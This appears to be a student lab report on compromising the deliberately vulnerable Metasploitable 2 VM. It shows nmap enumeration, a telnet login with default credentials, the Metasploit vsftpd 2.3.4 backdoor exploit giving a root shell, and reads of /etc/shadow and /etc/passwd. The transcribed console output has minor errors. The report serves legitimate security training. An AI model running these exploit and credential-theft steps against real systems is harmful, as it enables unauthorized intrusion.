



TASK

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1. Introduction

This report documents the installation, configuration, and exploitation of the Metasploitable 2 vulnerable machine. The purpose of this exercise is to demonstrate practical penetration-testing skills, including:

- Setting up a vulnerable environment
- Performing service enumeration
- Identifying weak configurations
- Exploiting real vulnerabilities
- Achieving unauthorized access and full system compromise

All steps were executed in a controlled lab environment.

2. Installing Metasploitable 2

Metasploitable 2 is a deliberately vulnerable Linux machine used for cybersecurity training.

2.1 Download Source

The VM was downloaded from Rapid7:

<https://www.rapid7.com/products/metasploit/metasploitable>

2.2 Importing into VMware

Inside VMware Workstation:

- **Create New Virtual Machine**
- OS Type: **Linux**
- Version: **Ubuntu 32-bit**
- RAM: **512MB - 1GB**
- Select: **Use an existing virtual hard disk**
- Choose file: **Metasploitable.vmdk**



2.3 Boot & Login

Metasploitable does not require installation; it boots immediately.

Default credentials:

- **Username:** msfadmin
- **Password:** msfadmin

2.4 Identifying IP Address

Inside Metasploitable terminal:

```
ifconfig
```

Result:

IP Address: 192.168.159.131

This IP was used as the attack target.

3. Enumeration Using Nmap

A full port scan was performed from Kali Linux:

```
nmap -sV -p- 192.168.159.131
```

Key Findings

The scan revealed many open ports and outdated services, including:

- **Telnet (23/tcp)** – insecure, no encryption
- **vsftpd 2.3.4 (21/tcp)** – known backdoor
- **SSH, Apache, Samba, MySQL** – outdated versions
- **Backdoor shell (1524/tcp)**
- **distccd, VNC, UnrealIRCd**

These results confirm the machine is intentionally vulnerable and suitable for exploitation.

4. Exploitation Activities



Below are the attacks performed successfully on Metasploitable.

4.1 Exploiting Telnet (Port 23)

Vulnerability Summary

Telnet is an insecure protocol that transmits credentials in clear text. Metasploitable also uses **default login credentials**, making exploitation trivial.

Attack Steps

1. From Kali Linux terminal:

```
telnet 192.168.159.131
```

2. When prompted, enter default credentials:

- Username: **msfadmin**
- Password: **msfadmin**

3. A shell session opened immediately.

4. Verified access:

```
whoami
```

Output:

```
msfadmin
```

Result

- Successful unauthorized login
- Full user-level shell access
- No encryption, no protection, no restrictions

Impact

- Attacker can execute commands
- Read files
- Move laterally

- Attempt privilege escalation

4.2 Exploiting VSFTPD 2.3.4 Backdoor (Port 21)

Vulnerability Summary

VSFTPD version 2.3.4 contains a built-in backdoor. When triggered, it opens a root shell on port 6200.

Attack Steps Using Metasploit

1. Start Metasploit:

```
msfconsole
```

2. Search for the exploit:

```
search vsftpd
```

3. Load the module:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

4. Set the target IP:

```
set RHOSTS 192.168.159.131
```

5. Run the exploit:

```
run
```

Result

A root shell session opened automatically.

Privilege verification:

```
id  
whoami
```

Output:

```
uid=0(root)  
root
```

Post-Exploitation



Read password hashes:

```
cat /etc/shadow
```

This confirms full system compromise.

Impact

- Complete root access
- Ability to steal all credentials
- Ability to modify system files
- Ability to create new users
- Ability to fully control the machine

5. Conclusion

This report demonstrates:

- Successful installation and configuration of Metasploitable
- Full enumeration of services using Nmap
- Exploitation of two critical vulnerabilities:
 - **Telnet default credentials**
 - **VSFTPD 2.3.4 backdoor**
- Achieving both user-level and root-level access
- Complete system compromise

These exercises provide essential hands-on experience in penetration testing, exploitation, and post-exploitation techniques.

Pictures demonstrate the process:

```
TX packets:225 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:85261 (83.2 KB) TX bytes:85261 (83.2 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:86:01:ce
          inet addr:192.168.159.131  Bcast:192.168.159.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe06:1ce/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:197 errors:0 dropped:0 overruns:0 frame:0
          TX packets:97 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13411 (13.0 KB)  TX bytes:12808 (12.5 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:278 errors:0 dropped:0 overruns:0 frame:0
          TX packets:278 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:111925 (109.3 KB)  TX bytes:111925 (109.3 KB)

msfadmin@metasploitable:~$ _
```

```
Home x My Computer x Ubuntu (6) x Ubuntu (5) x
Individual files in /usr/share/doc/*/*copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
zsh: locking failed for /home/judy/.zsh_history: read-only file system: reading anyway
[judy@kali]~$
[judy@kali]~$ nmap -sP 192.168.159.131
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-27 15:24 EST
Nmap scan report for 192.168.159.131
Host is up (0.0026s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 6ubuntu1 (protocol 2.0)
23/tcp    open  telnetd  Linux telnetd
25/tcp    open  smtp     Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec     netkit-rsh rshcd
513/tcp   open  login    OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-vm  GNU Classpath gwirestry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs      2-4 (RPC #100003)
2121/tcp  open  ftp      ProFTPD 1.3.1
3306/tcp  open  mysql    MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd  distccd v1 ((GNU) 4.2.4-2 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  unc      UNC (protocol 3.3)
6000/tcp  open  X11      (Access denied)
6667/tcp  open  irc      UnrealIRCd
6697/tcp  open  irc      UnrealIRCd
8089/tcp  open  ajp13    Apache Jserv (Protocol v1.3)
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb      Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
32923/tcp open  nlockmgr 1-4 (RPC #100021)
53728/tcp open  status   1 (RPC #100024)
54644/tcp open  mountd   1-3 (RPC #100005)
55609/tcp open  java-vm  GNU Classpath gwirestry
NMC Address: 00:0C:29:86:01:CE (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.76 seconds
[judy@kali]~$
```



```
judy@kali: ~  
Session Actions Edit View Help  
VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
  
msf > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.159.131  
RHOSTS => 192.168.159.131  
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j  
[*] Exploit running as background job 0.  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) >  
[*] 192.168.159.131:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.159.131:21 - USER: 331 Please specify the password.  
[+] 192.168.159.131:21 - Backdoor service has been spawned, handling ...  
[+] 192.168.159.131:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.159.130:41763 -> 192.168.159.131:6200) at 2025-11-29 05:48:59 -0500  
sessions -i 1  
[*] Starting interaction with 1 ...  
  
id  
uid=0(root) gid=0(root)  
whoami  
root  
uname -a  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

```
judy@kali: ~  
Session Actions Edit View Help  
  
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes  
VSFTPD 2.3.2 Denial of Service  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No  
VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
  
msf > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.159.131  
RHOSTS => 192.168.159.131  
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j  
[*] Exploit running as background job 0.  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) >  
[*] 192.168.159.131:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.159.131:21 - USER: 331 Please specify the password.  
[+] 192.168.159.131:21 - Backdoor service has been spawned, handling ...  
[+] 192.168.159.131:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.159.130:41763 -> 192.168.159.131:6200) at 2025-11-29 05:48:59 -0500  
sessions -i 1  
[*] Starting interaction with 1 ...  
  
id  
uid=0(root) gid=0(root)  
whoami  
root
```

```
judy@kali: ~  
Session Actions Edit View Help  
  
var  
vmlinuz  
cat /etc/passwd  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mail Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
dhcp:x:101:102::/nonexistent:/bin/false  
syslog:x:102:103::/home/syslog:/bin/false  
klog:x:103:104::/home/klog:/bin/false  
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash  
bind:x:105:113::/var/cache/bind:/bin/false  
postfix:x:106:115::/var/spool/postfix:/bin/false  
ftp:x:107:65534::/home/ftp:/bin/false  
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
```

```
judy@kali: ~  
Session Actions Edit View Help  
  
id  
uid=0(root) gid=0(root)  
whoami  
root  
uname -a  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz
```